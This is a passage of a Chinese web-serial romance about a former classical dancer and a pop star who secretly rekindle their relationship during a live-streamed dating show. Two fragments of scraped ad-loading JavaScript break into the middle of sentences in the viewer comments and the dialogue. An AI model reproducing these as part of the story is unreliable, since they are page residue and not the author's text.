她跳舞,从始至终都是因为热爱,想要在古典舞界做到最好,也是因为她在自己热爱的领域里对自己有着更高的要求。 时缈想站上舞台最中央,从来都不是为了进军所谓的“娱乐圈”。 在办理完退学手续之后,时缈消沉了很长一段时间。 那时候她的腰上还没有彻底恢复,医生叮嘱她定期复查、避免剧烈运动,于是时缈几乎每天都窝在公寓里,捧着一本书,戴着耳机,在飘窗上一坐就是一整天。 从早到晚,膝盖上的书没能翻几页,但歌单里许钧闻的声音已经反复循环了不知多少遍。 “说起来,我还是要谢谢你。” 时缈的目光落在不远处的地面上,一道轻浅的月光透过窗帘的缝隙,偷偷钻进屋里,无声注视着房间里紧密相拥的两个人。 这道月光和她过去六年见过的月光都不一样,又或者说,是因为许钧闻在她面前、在她身边,才让她的生活重新变得不同了起来。 “你第一次拿年度最佳歌手的那一年,我看了颁奖典礼。” 时缈回忆,那是他们分手后的第二年,也是爆火之后第一次凭借自己那年一张纯原创专辑横扫国内外各大音乐奖项的那一年。 在许钧闻拿到某国际主流音乐盛典,出席纽约活动现场参加颁奖典礼并上台发表获奖感言的时候,坐在电视机前的时缈是打心眼里为他感到开心。 那是她那段晦暗时光中为数不多真正感到开心的时刻。 而站在台上,在各国媒体和粉丝们的注视下,在聚光灯的照耀下,许钧闻微微俯身,对着话筒,从容不迫地开口: “希望大家都能够实现二十岁时的愿望。” 一句话,另时缈回忆起自己二十岁生日的那天。 许钧闻给她买了一个造型精致的蛋糕,蛋糕正中央还立着一个翩翩起舞的翻糖小人。 “许愿吧,我们今晚的寿星大人。” 许钧闻为她点燃蜡烛,火光在两人中间跳跃。 时缈双手合十,对着蛋糕上的蜡烛虔诚中带着些兴奋地念叨着:“我二十岁的第一个愿望,希望将来能够成为一个优秀的古典舞者、舞团首席!” 许钧闻捏了一下她的脸颊:“愿望说出来可就不灵了。” “可我不说神仙怎么能听得见,”时缈眨眨眼,在对上许钧闻宠溺的眼神后嘿嘿一笑,随即又道,“一个人许三个愿望未免也太贪心了,不如这样,我分给你一个吧!” “哪有自己过生日给别人分愿望的?”许钧闻好笑道。 时缈挑眉:“那怎么了,既然今天是我的生日,那么一切当然都是我说了算,我说要分你一个就是能分你一个,神仙肯定也不会有意见的。” 见拗不过她,许钧闻只好点头应下:“也行。不过这次,愿望可就不能说出来了。” 时缈吐吐舌头,有些诧异地上下看了看许钧闻:“以前也没见你信这种事情,怎么这回规矩这么多了?” 许钧闻笑笑,并没有说话。 他自己是个不信神佛的人,可总在面对她的时候,忍不住许愿这个世界一定要让他面前这个姑娘心想事成。 如果神仙做不到,那就让他帮她得偿所愿。 隔着电视屏幕,时缈愣愣地看着画面里那个耀眼得仿佛出现在她生命中只是她做过的一场梦一般的人。 二十岁的那个晚上,在漫天星星熄灭之前,时缈曾经和他一起许过愿望。 果然啊。 时缈的鼻尖忽然一酸,大颗大颗的眼泪砸下来。 在受伤之后,时缈从来没有如此歇斯底里地放声痛哭过。 那些憋在心底的痛苦、茫然和愤恨,终于在这一刻,以如此具象化的方式尽数发泄出来。 时缈的潜意识其实也知道,自己这段时间看似冷静,不论是办理退学、离开舞团,还是自己找房子独居,面上波澜不惊,其实都只是逃避。 她在逃避一个事实:她真的再也不能跳舞了。 直到这一刻,许钧闻凌厉又傲然地站在世界级的颁奖晚会上,目光直视镜头,仿佛是在透过电视屏幕直直看进她的心里。 许钧闻的话让时缈意识到。 原来他当年说得没错——说出口的愿望果然就实现不了了啊。 时缈缓缓描述着自己记忆中的那个场面,如今说出来,一切都已经释怀:“那个时候,我终于说服了自己,要从这件事情中走出来了。” 许钧闻沉默着。 他的发丝早就将她肩膀处的T恤浸透,在白色的布料上氤氲出来一块半透明的痕迹。 可忽然,时缈察觉到了一些细微的,与水滴落在皮肤上时不大一样的感觉。 温热的像是要顺着她的皮肤,融进她的血液,游入她的心脏似的。 “许钧闻?” 她轻声叫他。 而后无奈地揉了揉他的后颈,原本是想开个玩笑缓和一下气氛,可偏偏说话时的嗓音也带上了哽咽:“大明星,哭了啊?” “吃颗巧克力哄哄你够不够?” 这是他们曾经在一起时玩过很多次的小把戏,尤其是在时缈被许钧闻欺负得狠了之后红着眼睛不想理他的时候,许钧闻总是能从房间的各个角落“变”出几颗平时时缈为了控制体重并不敢多吃的巧克力,作为哄她的方式。 “恐怕不够。”他说。 时缈随手拨弄一下他后颈处的碎发。 一直以来,时缈都觉得很神奇,明明是一个性格那么锐利桀骜的人,偏偏头发生得很软,让人总是忍不住想多揉几把。 “那你想怎……唔……” 剩余的话被人堵在喉咙里,唇瓣被强势地碾开,许钧闻的舌尖探进去,勾着她的,不给她任何躲避和退让的余地。 一个带着泪水味道的吻,却霸道得让时缈几乎喘不过气来。 搭在他肩上的指尖将他肩膀上的布料攥紧又放开,放开又攥紧,留下漩涡一般的褶皱,像她失去清明的神思和不受控制的心跳。 膝盖有些发软,时缈几乎将所有的重量都交给了他搂住她的那双手臂,任由自己这叶扁舟彻底迷失在茫茫大海中。 而他是她在这片海洋中唯一不变的支点。 “时缈。” 恍惚间,她似乎听见他的一声喟叹。 “你追到我了。” 61. 61首情歌 第二日,时缈是被一个奇怪的梦惊醒的—— 梦中她遇见了一个打扮得像道士一样的老头,那老头说自己有独家偏方可以治好她的腰上,只需要她去山上摘一颗冰蓝色的药草,有了那棵药草,老道士就能熬制出药膏,只要她把那药膏敷上七七四十九天,她的腰上就可以彻底痊愈。 时缈并不完全相信,可又抱着“死马当活马医”的念头,去找那老头所说的药草。 而当她在山腰处找到那株药草,正要采摘的时候,药草的叶片忽然变成了长长的藤蔓,将她整个人缠绕起来。 时缈挣脱不得,猛得一睁眼,才发现原来自己刚才只是在做梦。 正要翻个身,腰部隐隐发酸的痛感和一道将她的腰箍住的力道提醒着她,现在这个状况似乎有点不大对劲—— 原本迷迷糊糊的神思瞬间清醒,时缈偏过头,发现自己身边还睡着一个人…… 许钧闻? 他怎么在这里? 不对。 时缈反应过来,自己现在所处的并不是自己的房间。 前一夜的记忆如同潮水一般涌上来。 …… “我得回去了,”时缈将许钧闻肩膀处的布料欲盖弥彰地拉了拉,“等下璐璐回去发现我不再房间的话我不好解释。” 许钧闻低头看着她,见她表情认真,只好亲了亲她的侧脸:“好吧,那你回去吧。” 答应得还怪爽快的。 时缈无奈地看着他,又偏头看了看撑在自己脑袋两侧的手臂:“那你倒是让我起来啊。” “是你要走的,那你自己想办法啊。”许钧闻勾了勾唇角,笑得有些痞气。 时缈被他拢在自己的影子里,袖口和衣领上都沾着他沐浴露的味道,长发散在沙发扶手上,乌黑柔顺得宛如一匹墨色的绸缎。 她的唇瓣泛着红,眼尾和两颊也是,脖颈处还有个浅浅的齿印露出来一点点,更加令人遐想连篇。 “你现在这样回去,才是真的解释不了。” 许钧闻单手捞着她,带着她侧过身背靠着沙发背,自己则也面对着她躺了下来。 房间里的沙发说不上有多宽敞,长度就更不用说了。 饶是时缈都觉得有些憋屈,更不必说许钧闻那样一米八几的个头。 可他偏要这么和她紧贴着挤在这样一个小小的沙发上,手足相抵、呼吸相闻,好像稍一不注意,时缈就又会离开似的。 时缈皱眉:“那也得回去啊。” 许钧闻点点头,用手指顺了顺她的发丝,惫懒的语气中带着安抚的意味:“这会儿说不定都在分别录采访,进进出出的更容易被碰到,你踏实休息,我让小松盯着了,等外面没人了他会来叫我们的。” “真的?”时缈狐疑。 “真的。”许钧闻一本正经地点头。 …… 可谁能料到,时缈精神松懈下来,这么一“休息”,就休到了第二天早晨。 她甚至不知道自己是什么时候被人从沙发抱到床上来的。 明明是个浅眠的人,可偏偏在他的身边总是睡得很沉。 眼瞧着外面的天色已经透出了鱼肚白,再不偷偷溜回房间恐怕真要出岔子,时缈推开许钧闻的胳膊,蹑手蹑脚地刚要爬起来,就再次被人环住了腰。 “去哪儿?” 许钧闻还没睡醒,声音中满是困倦。 “下楼啊,”时缈轻声,戳了戳他的手腕,示意他赶快放手,“你昨晚不是说等外面没人了,你的助理会来叫我吗?” 怎么最后变成她在他这儿过了一夜? “可能是太困了,我也睡着了,”许钧闻大言不惭,侧身撑起下巴看着她,“现在就走?” “不然呢?”时缈睖他一眼,“再不走被人撞见了可是跳进黄河都洗不清了。到时候搞不好就要被传成‘心机女借综艺录制主动勾.引大明星’之类的了,许大明星人红咖位大,我可消受不起。” “谁说的。” 许钧闻捏住她的指尖:“我说你消受得起,你就消受得起。” “再说了,你都在我这里过夜了,怎么,翻脸不认人,不准备负责了?” “??” 时缈愣了一瞬,随即被他的话气笑:“说的好像我对你做什么了似的。” 许钧闻不满地哼了一声:“没做什么吗?昨天晚上亲我的不是你?” 时缈瞪大了眼:“什么叫我亲的你,不是你主动的吗?” “好吧,确实是我主动的。” 许钧闻点点头,挑了下眉:“既然如此,到时候我肯定跟媒体澄清。” “澄清什么?” “不是你主动的,是我主动。” * 回归录制第一天,节目组出钱,嘉宾们一起去超市采购了一大堆食材,众人聚在别墅里一起涮火锅。 “大学毕业之后,就很少有这么多朋友聚在一个房子里共同生活的机会了,”温璐将手中盛着食材的盘子搁在桌上,转头邀请时缈,“调料在那边,一起去调蘸料?” 时缈指了指自己面前的两个小碗:“看你刚才忙着处理食材,蘸料我就顺道给你准备好啦,就是不知道合不合你的胃口。” “美女调的蘸料,怎样都是合胃口的,”温璐嘻嘻一笑,坐在她身边,“况且,只要有麻酱和香油,其他的怎么加我觉得都好吃。” “放心,这两样都给你加了的。” 时缈比了个“ok”的手势,拿起几双筷子,分给温璐一双,在自己面前的碗碟上隔了一双,又将手里另一双筷子自然地递给了坐在她另一侧的许钧闻。 “闻哥,你那有筷子吗?” 同样在给其他人分筷子的青葭抬头望过来。 时缈的手一顿,脑海里的那根神经忽然绷紧。 她客气地转头对许钧闻道:“许老师,您需要筷子吗?” “多谢。”许钧闻点点头,接下她手里的筷子,转头对热情的青葭勾了个笑,得体中带着些冷淡,“有了。” 时缈担心自己刚才的动作显得过于熟稔,又主动问朱蕴和罗艺亭那边是否需要餐具,尽量自然地帮几人递了些需要的东西过去作为掩饰。 “快尝尝,再多煮一会儿就老了。” 第一波下进锅里的肉片已经煮熟,温璐用公筷夹了两片放到时缈面前的盘子里。 时缈看着面前碟子里的羊肉,顿时又有些犯难。 “你是不是不吃羊肉?” 许钧闻状似不经意地随口说道:“今晚的食材很多,不吃的话也不必勉强。” “啊?缈缈你不吃羊肉啊?” 温璐转过头:“抱歉抱歉,我不知道。” 随即她又有些好奇地看向许钧闻:“许老师你是怎么知道的?” “猜的,”许钧闻随口答,“在谷峪勒烧烤那天晚上,她面前盘子里的羊肉串最后都被我和程哥分了。” 这倒是事实。 程子归自己也记得这件事:“哦哦,我当时还以为是时缈为了保持身材所以不吃羊肉只吃牛肉呢?原来是吃不惯啊。” 时缈不好意思地笑笑:“没事,不用在意这些小事,大家好好吃。” “那你吃这些,牛肉也涮好了。” 温璐又夹给她一大筷子牛肉,将她盘子里的羊肉换到自己面前,裹了一圈碗中的蘸料,吃了一口,半捂着嘴巴惊艳道:“嚯,缈缈,你这蘸料调得比我自己平时调得好吃多了!” 时缈眨眼:“你喜欢吃就好。” 说罢,自己低头吃了口东西,余光不经意扫过身旁的许钧闻。 两人的视线在半空中交汇了一瞬,又快速地错开。 那火锅蘸料的配方,还是当年许钧闻教给她的。 至今,她吃火锅的时候都沿用着当年的口味。 饭后,青葭提议大家来玩桌游。 “最简单的,还是真心话大冒险。” 青葭从客厅茶几抽屉里找出一副全新的扑克牌,从里面抽出十张牌,分别是红桃A以及红桃2-10。 “抽中红桃A的人,可以向任意一张牌的主人提问,不想答或是答不出的就自罚一杯,怎么样?” 下午去超市的时候,青葭挑了好多种果汁,又买了几瓶基酒,原来是等着在这个环节派上用场。 “当然,喝的东西要由提问者来调哦。” “那钧闻酒精过敏不能喝酒岂不是很不公平。”程子归哈哈一笑。 “如果闻哥输了,就让红桃A的主人用三种以上的饮料给闻哥调一杯,怎么样?”青葭转头征询许钧闻的意见。 虽然都是饮料,但如果真要把面前各种不同口味的果汁、气泡水、碳酸饮料都兑在一起,那味道或许也未必会比果酒的口味好。 许钧闻点点头:“可以。” 于是游戏正式开始。 前几轮,时缈的运气还算不错,既没有抽到红桃A,也没有成为被红桃A点中的那个人。 但运气这东西是个玄学,似乎并不会始终眷顾某一个人。 程子归将牌翻开,一拍手:“好,这局终于让我抽到红桃A了。” “我选红桃3!” 时缈看了看自己手里的牌,举手:“是我。” “嘿嘿,那我就不客气了啊。” 程子归挑了下眉,意味深长地笑了一下:“请问,你现在有喜欢的人了吗?” 刚才几局,嘉宾们还顾忌着镜头,也因为好一阵子没见面而有些生疏,问的都是一些“学生时期考过最低分是多少”“如果要选一样东西带去孤岛生存一个月你会选什么”之类的安全问题,主打的就是一个随意。 但随着游戏轮次增多,众人逐渐放得开了,问的问题也逐渐深入了起来。 况且,和感情有关的问题才是《适合恋爱的夏天》直播间里观众们最想看的部分。 「程老师!你终于问到点子上了!这才是我们想看的真心话!」 「笑死,程老师是不是因为前面被问私房钱的问题罚了酒之后有点上头了hhhhhh」 「后面的人都照着这个方向问啊!」 时缈顿了顿,笑着点点头:“有。” 这么坦然地承认,倒是让桌上好几个人都忍不住侧目看过来。 「什么?她不是已经拒绝白景川和周璨了吗?」 「啊这,这到底是什么情况!」 「还有谁记得她第一天把短信发给薛明浩了!时缈不会其实喜欢的是薛明浩吧!」 「救,所以这姐到底喜欢的是谁啊!她非要把几个男嘉宾都招惹一遍才算完是吧??好恶心!」 「呃……说不定人家喜欢的人不在节目里呢?」 「那就更恶心了吧,现实世界有喜欢的人还来参加恋综,不就等于是有男朋友的情况下去参加相亲吗?」 “程老师这个问题又没限定性别,”时缈再次搬出了第一天晚上备采时面对节目组工作人员耍的小花招,“这半个月相处下来,我很喜欢我的室友啊。我想,我的室友应该也很喜欢我吧?” “喜欢喜欢,能在这个节目里认识你是我最大的收获和惊喜了!”温璐颇为捧场地抱住时缈的手臂,朝众人打趣,“抱歉咯各位男士,时缈是我的咯。” 一句话,既为时缈解了围,也将弹幕观众们的思维引向了另一个方向。 「也对,如果说没有的话,一直对她有好感的两个男嘉宾未免也太尴尬了。」 「这么说也是哦,这题怎么答好像都有可能被解读成其他意义,不答罚酒也可能被认为是心虚……」 「该说不说,温璐这波接得也挺好,果然,这个世界不能没有女孩子!」 「但这是‘真心话’吧?这样钻漏洞玩文字游戏算是作弊吧?」 「的确,要这样的话,后面的人都可以用这种方式去玩了,那多没意思。」 而时缈也自知自己是玩了文字游戏,并不能算过关,因此虽然这个问题她答了,但还是将面前的杯子推到桌子中央:“这局还是算我输,我罚酒,程老师,交给你咯,手下留情。” 程子归并没有为难她,只是在杯子里倒了大半杯橙汁,又用伏特加补满,果味浓郁,并不难喝。 时缈爽快地将杯中的酒一饮而尽。 随后,时缈又被点到两回。 其中一回,抽到红桃A的是林问。 林问看了看翻开牌的时缈,又转头和罗艺亭对视一眼,忽然开口:“时缈姐,我有些好奇,你之前不是在国外的舞团吗?怎么又选择回国了呢?” 时缈眉心一跳。 这小伙子还怪记仇。 但她不想回答,只是抬手示意林问倒酒:“我罚酒。” 林问吃了个软钉子,也没像之前那样不依不饶,不知道是不是忌惮着上次帮她出头的许钧闻。 林问的目光在桌上转了一圈,抬手选了几个瓶子—— 柠檬味果汁,金酒,伏特加,朗姆。 “半成品的长岛冰茶,不过这个比例我控制得可能不太好,时缈姐,你ok吗?”林问“体贴”地看向她,“不行的话,要不选个人替你喝?” 时缈轻勾了下唇角。 伸手接过杯子,面不改色将酒一口全部饮尽。 而后,当着所有人的面,时缈将杯口朝下,晃了两下。 一言未发,但气势逼人。 身边温璐有些担忧地看她,时缈笑笑,声音不大不小,刚好让所有人都能听到:“还好,这点酒难不倒我,只不过……” 她顿了顿,笑着扫了林问一眼:“比例确实掌握得不大好,口感比外面的酒差了点,还得多练练啊弟弟。” 「靠……姐姐好帅!」 「本来觉得是温婉型 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 美女,没想到骨子里是个御姐!」 「之前对时缈无感的,现在忽然觉得姐姐好绝!尤其是倒转酒杯的东西,帅炸了!」 「该说不说,那谁的mv里是不是也有类似的动作来着?」 「再说一遍!嗑邪门cp的叉出去!烦死了!」 虽然这酒不至于把时缈放倒,但残留在口腔里有点冲人的混合酒精味还是让时缈忍不住靠向身后的椅背寻找一个支点。 一只手随意搭在桌面上,另一只手垂在身边。 新一轮游戏开始,这次时缈顺利躲过。 没注意负责提问的朱蕴说了什么,时缈大脑短暂地放空一瞬。 垂在身边的指尖忽然传来了一股力道,将时缈飘忽的神思拽了回来。 她不动声色的侧眸。 许钧闻也偏着头,看上去是在认真听祝意安的回答。 祝意安似乎也说了个什么笑话打了个马虎眼,引得周围笑声不断,四角的直播摄影机兢兢业业地运转。 而在这样众人齐聚的欢快夜晚,在嘉宾们没有注意到的方向,在直播间所有观众看不到的角度—— 时缈的指尖被许钧闻握进掌心。 怦怦。 怦怦。 或许是刚才的酒精在身体内挥发,时缈感觉自己的心跳在这一刻忽然快了几分。 时缈知道,他是在跟自己确认她的状态。 她的指尖轻轻动了两下,示意许钧闻自己很好,不必担心。 “闻哥,到你抽牌了。” 新一轮游戏开始,青葭洗好牌,招呼许钧闻。 许钧闻慢条斯理地伸手取牌,另一只握着时缈的手掌紧了紧,而后才将她放开。 覆在手背上的温度抽离,让时缈再次出现了短暂的几秒失神。 “这次轮到我啦。” 罗艺亭晃了晃自己手中的红桃A,也不等着看抽到她指定牌的人是谁,就一股脑把问题先抛了出来:“提问红桃10号牌,至今一共谈了几次恋爱?” 此话一出,大家纷纷看好戏般地环顾起四周—— 作为一档恋爱综艺,询问嘉宾的感情经历是再正常不过的了。 但现在,这桌上除了八个素人嘉宾之外,还有四个艺人呢。 「好好好,有人和我一样希望许钧闻拿到红桃10的吗!」 「我更希望青葭抽到红桃10,妹宝又要当中承认自己母胎solo了哈哈哈哈哈哈~」 「美女不谈恋爱挺好的啊,专心搞事业,有钱不比有男人香。」 「许钧闻拿到这张牌已经没什么看点了吧,之前不是已经自爆有前女友了吗?」 「他说是有前女友,又没说有几个……长着这张脸很难只谈一两个对象的吧?」 「???前面的,又开始虚空造谣我哥前任多了是吗?敢不敢去微博上发?别仗着弹幕是匿名就在这随地大小便行不行?恶心!」 在看了看自己手上的牌不是红桃10之后,青葭悬着的心放下来,左右看了看周围坐在身边的其他人:“所以谁是这一局的红桃10呢?” “不是我。”程子归亮出自己手里的红桃2,耸肩无所谓道,“不过我的感情故事应该观众们都知道了,也没什么新意了。” 程子归和他的妻子是娱乐圈里出了名恩爱的模范夫妻,每每有其他明星爆出婚变,总有网友在互联网上艾特他们两口子,叮嘱他们千万经营好自己的感情,可不要让广大粉丝们失望。 青葭的目光移到坐在程子归另一侧的许钧闻身上:“闻哥?” 许钧闻慢条斯理地将手里的牌翻开。 红桃8。 面不改色,仿佛自己从始至终都在专心游戏似的。 “哇,那这个‘幸运的红桃10’到底是谁呢?”青葭眨眨眼,托着下巴看着众人笑。 “时缈,你多少?”温璐将自己的牌摊在桌上,露出一张红桃5,转头看向时缈。 时缈这才回过神,翻开自己面前扣着的扑克牌。 一张红桃10赫然出现在所有人面前。 “来吧时缈,”罗艺亭扬了扬下巴,“回答问题和喝酒选一个哦,我再重复一遍我的问题——” “迄今为止,一共谈了几次恋爱?” 这对时缈这种既不出道也不直播更不立人设的人来说,简直是一个不痛不痒的送分题。 她眨眨眼,毫不犹豫地报出了答案:“两次。” 「长这么漂亮的大美女只谈过两次恋爱?我不信:)」 「以前上学的时候音乐舞蹈学院的美女们一个玩得比一个花,时缈这种条件,又是在云京,肯定有很多小开二代追,居然只谈过两个吗?」 「拜托,这可是在录节目,肯定说保险的答案啊,真谈过多少个怎么可能当着直播镜头说出来,保不齐今晚结束之后就有人出来锤她了呢~」 「造谣4000+哈,如果没人出来放锤的话前面的给不给美女磕头道歉?」 毕竟是在录节目,不论嘉宾们对时缈的答案相信与否,游戏都继续进行了下去。 时缈一侧头,就对上许钧闻微微眯了下的眼睛。 她只装作没看到,别开头,继续抽牌。 直到晚上,录制结束的时缈端着一杯温热的蜂蜜水回房间。 路过三楼小休闲厅的门口时,身侧一只大手握住她的小臂,将她拽进休闲室。 门被人关上,还特意注意了没有发出太大的声音。 时缈背靠在门板上,稳住手中的水杯。 身前侵袭而来的薄荷与橙花的气味,让她轻而易举地就猜出了来者何人。 “许老师,这么晚了还不休息?”她低声轻笑。 “休息?你还能睡得着?”许钧闻单手撑在她耳边,将她困在自己和房门之间,“心还挺大。” “我有什么睡不着的。”时缈故意逗他,“今天玩得挺开心,又不用挤在沙发上,晚上应该可以睡得不错。” “少来,今天不交代完信不信我接着让你去睡沙发?”许钧闻俯身下来,整个人迫近她,要笑不笑地盯着时缈的眼睛,嗓音低沉又蛊惑:“谈过两段了是吧?说说看,在我之后还有谁?” 时缈眨眨眼睛,忽然笑了:“干嘛,大明星,吃醋了?” 许钧闻轻哼一声:“少在这转移话题啊,坦白从宽。” “留我在国内满世界找你,你倒是在外面逍遥?时缈同学,你这可就有点没良心了啊。” 时缈被他半威胁半不满的语气逗笑。 “怎么,昨晚不是还说我追到你了吗?” 时缈搭住他的肩,漂亮的杏眸闪着狡黠灵动的光芒,像只得逞后亮出爪子的傲娇小猫,但凑近时,许钧闻清晰地闻见了她口中,蜂蜜和酒精交织在一起的暧昧味道: “怎么,有谁规定,不能和同一个人谈两次恋爱吗?” 62. 62首情歌 正值晚上下班时间,是一天当中超市里人流量最大的时候,时缈对照着手机里的清单,穿梭在货架之间,身侧是穿着兜帽卫衣,乖乖推着购物车跟上来的周璨。 两人前后跟着尽职尽责举着摄影机和直播器材的摄影师,阵仗不小,引得周围不少人频频侧目。 “姐姐,这是你第一次做蛋糕吗?”他好奇地问道。 时缈点点头:“如果跟着网上那种‘教你用电饭锅轻松做蛋糕’的教程做出来的那种小糕点不算的话,那我这确实是第一次做蛋糕。” 周璨的眸子亮了亮:“我也是第一次做,那我就放心了。” 时缈茫然:“放心什么?两个新手凑到一起岂不是更没机会拿第一了。” “不担心你觉得我拖团队后腿了呀,”周璨那双狗狗眼眨了眨,露出脸颊边一个浅浅的酒窝,“刚好,先用这次活动练练手,练好了,有机会的话等你生日了我再亲手做个蛋糕送给你咯。” 时缈挑眉,对着摄影机的方向扬了扬下巴:“快,孩子,现在跟许老师的粉丝们道歉还来得及。” 一边说着,她还一边对着镜头的方向开玩笑:“这话可不是我说的啊,网友们有问题认准周璨的微博,找他一个人理论去。” “啊啊啊啊时缈姐!”周璨双手合十,“我错了,这段能不能掐掉别播?” 摄影师缓缓左右摇了摇摄影机。 「哈哈哈哈哈哈哈笑死,时缈反应好快哈哈哈哈哈!」 「已经开始期待这一段将来在录播版里的后期花字了!」 「想什么呢弟弟!咱们这可是直播!」 「想知道被弟弟当成“练手工具”的许老师作何感想哈哈哈」 「节目组要不要到时候去回访一下各位嘉宾,就专门让许钧闻看这一段哈哈哈哈哈,明明他是今天的寿星,一个二个都把他的生日蛋糕当成练手之作了可还行!」 「谁说不是呢,那边薛明浩也说自己这是第一次做蛋糕,先试试看,要是做得不错的话就等朱姐生日了专程给朱姐做一个哈哈哈哈哈!」 「刚从朱姐和薛哥的直播间回来,那边感觉已经相处出老夫老妻的既视感了,夫妻下班后一起逛超市的氛围也就不外乎如是了吧!好甜,推荐大家都去看!」 「朱蕴也是个很好的女生,薛明浩看得出来也是个很体贴周到的人,没想到两个人在节目后期居然可以走到一起,祝福祝福!」 「节目一开始我最期待的就是时缈的感情线,毕竟是女嘉宾中的颜值天花板,而且一上来就吸引了两个男嘉宾的注意力,结果没想到……一个处成了朋友,另一个感觉更像是姐弟……」 「隔壁的隔壁,感觉小艺和Question相处也很好啊,谁说电子竞技没有爱情的?Q神的爱情这不就来了嘛~」 「呵呵,想看别人的就去其他直播间,别在这里提了行不行?」 节目录制即将走到尾声,嘉宾们的感情线发展可以说是出乎了很多人的预料。 从登场就靠着颜值收获了很多网友们的关注的时缈,原本是大家所猜测的“风暴中心”,却没想到一直到节目即将结束,都没有遇上自己的“心动对象”。 而一开始不显山不露水的朱蕴,居然在节目的后半程和“别墅少女之友”薛明浩擦出了暧昧的火花。 节目组今天布置的“约会任务”规则也很简单——素人嘉宾们两两组队,由女生率先发出邀约,男嘉宾有权拒绝,待女嘉宾一轮选择完毕后,若有没有成功组队的嘉宾,则由男嘉宾进行反选。组队之后,嘉宾们需要购买材料并前往节目组安排好的蛋糕房亲手制作生日蛋糕,为观察团成员许钧闻庆生。 在选人环节,朱蕴和薛明浩、罗艺亭和林问十分顺利地最先完成互选组队,而最受人关注的依然当属时缈。 大家都想知道,这次在白景川和周璨之间,时缈又会选择谁成为自己这一次的“约会搭子”。 温璐作为时缈的室友,自然明白时缈现在的难处。 不管选谁,直播间的观众们总有不同意的声音冒出来。 反正她也没有心仪的想要长期发展的异性,温璐索性率先出手:“白哥,要不咱们两个人一组?” 白景川看看温璐,目光又不着痕迹地扫过时缈,而后绅士地点点头:“荣幸之至。” 那么时缈自然而然地和剩下的周璨组成了一队。 「可惜了,小周是真感觉不出来还是装感觉不出来啊?时缈跟他开玩笑的口气太像姐姐逗弟弟了,我在家就这么和我弟说话的[笑哭]」 「管他呢,反正我现在就把它当成一个明星素人混宿休闲真人秀看了,恋综是什么?我不知道:)」 比起白景川,时缈还是在面对周璨的时候更轻松一些。 大概是因为周璨的年纪比她小几岁,又一直在读书,性格比较率真开朗,而时缈家中恰好有一个和他差不多大的表弟,所以总是十分自然地将他当成了弟弟看待,反而少了几分“异性相处”时的压力。 两人都是没有正儿八经做过蛋糕的,时缈只好从网上搜了一个看上去比较简单易懂的蛋糕教程,对照着发布教程的美食博主po出的食材清单,带着周璨在超市里一样一样地找。 过程中还碰上了同样是拿着手机不断查找教程的朱蕴。 双方简单打了个招呼,交流了一番,又各自朝着自己要买的东西所在的货架方向去了。 时缈对自己的厨艺心里还是有数的。 虽然在国外那几年,她的厨艺已经比六年前精进很多,但生日蛋糕这种东西,她并不认为自己只靠看几篇教程、几个视频就能弄明白的。 因此,时缈选择的蛋糕样式是最简洁的那种—— 没有复杂的装饰和裱花,只需要将奶油平平整整地涂抹在蛋糕胚外,再能尽量工整美观地用巧克力酱在蛋糕顶端写上几行祝福语,最后再用新鲜的草莓、蓝莓等水果在蛋糕表面装饰一番即可。 即便如此,真到了亲自上手做蛋糕的环节,她和周璨还是手忙脚乱了好一阵。 “写字的部分就交给你了姐姐。” 周璨将灌满巧克力酱的裱花袋递给时缈:“我的字实在有些 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 不大好看,还是你来吧,你们女生的字起码应该比我的好看一些。” 时缈的父母都是教师,虽然时缈后来走上了舞蹈艺术生的路,但父母从小对她的要求并没有松懈。 在父母的教育和引导下,时缈几乎将母亲拿一手娟秀好看的字体学了个十成十。 简单用多余的巧克力酱在边角料上尝试了几下,时缈一手握着裱花袋,另一只手扶着台面稳住身形。 正要下“笔”,两人搁在一旁的手机忽然同时震了震。 时缈同周璨对视一眼。 能让他们两个人手机同时收到消息的,大概率是节目组那边发来的。 果不其然。 是节目组的工作人员通知素人嘉宾们,今晚的主角,寿星大人许钧闻即将完成今天的工作返回别墅,请大家务必加快制作进度,按原定计划的时间坐车赶回去。 一目十行地扫完节目组发来的消息,时缈的手机在她手心里又震动了几下。 某人的头像被连续几条消息顶到了聊天列表最上方。 心虚地看了一眼不远处正在拍摄蛋糕的摄影师,已经那边已经看完消息的周璨,时缈趁所有人不注意,点开了最新消息—— 「许钧闻:准备回去了,有什么需要带的吗?」 时缈抿唇憋笑。 许钧闻今天白天要去江城中心商场出席一个品牌活动,一大早天还没彻底亮起来就离开了别墅。 时缈起床看到消息时,距离收到的最近一条消息已经过去了一个多小时。 「许钧闻:出门了,今天估计要晚点回来。」 「许钧闻:日子过得可真快,已经十七号了啊。」 「许钧闻:到了。」 「许钧闻:先去做妆造。」 「许钧闻:最近健身有些松懈了,豪哥让我少吃甜食,尤其是蛋糕。」 时缈坐在床上,慢慢翻看着许钧闻发来的消息。 字字句句全是暗示。 既想试探她还记不记得即将到来的是什么日子,又怕时缈真的会忘记,所以只好一直通过这种迂回到有些幼稚的方式去提醒她。 或许是白天一直在忙,许钧闻早上那一波消息发来之后,一整天都没了音讯。 直到此刻,工作结束踏上回程的路,他又“貌似不经意”地提起了早晨暗示过的“关键词”: 「许钧闻:如果有想吃的东西可以告诉我,我顺路买回去,听说江城新开了一家网红蛋糕店,我让小松去排队?」 为了不让其他人,尤其是观众们怀疑,时缈不敢抱着手机看太久,只好快速敲下了一行回复: 「时缈:蛋糕就不买了吧,吃多了总会腻的。」 毕竟……今晚他们会给他带回去四个蛋糕,饶是再喜欢吃甜食的人都会腻的吧。 回完消息,时缈将手机放到一旁,重新戴上手套,抓紧时间完成他们这个蛋糕最后几步的装饰。 没人看到时缈短暂亮了一瞬的屏幕上弹出的新消息。 简简单单冷冷淡淡。 「许钧闻:哦。」 63. 63首情歌 素人嘉宾们负责购买晚餐的食材、亲手制作蛋糕,而留在别墅里的观察团成员们则和节目组的工作人员一起将别墅精心布置了一番。 时缈等人赶在许钧闻之前回到别墅,将房间所有的灯全部关掉,只为了在许钧闻进屋开灯的一瞬间给他一个“巨大的惊喜”。 关灯躲在黑暗的玄关附近等(mai)待(fu)许钧闻的主意是青葭想出来的:“到时候,只要灯一开,大家就一起祝闻哥生日快乐哦!还有拉花和彩带,一定不要忘记啦。” “……” 时缈看着自己手里的彩带筒,陷入了微妙的沉默。 要是过去的许钧闻,最讨厌的就是这种埋伏式的庆祝仪式。 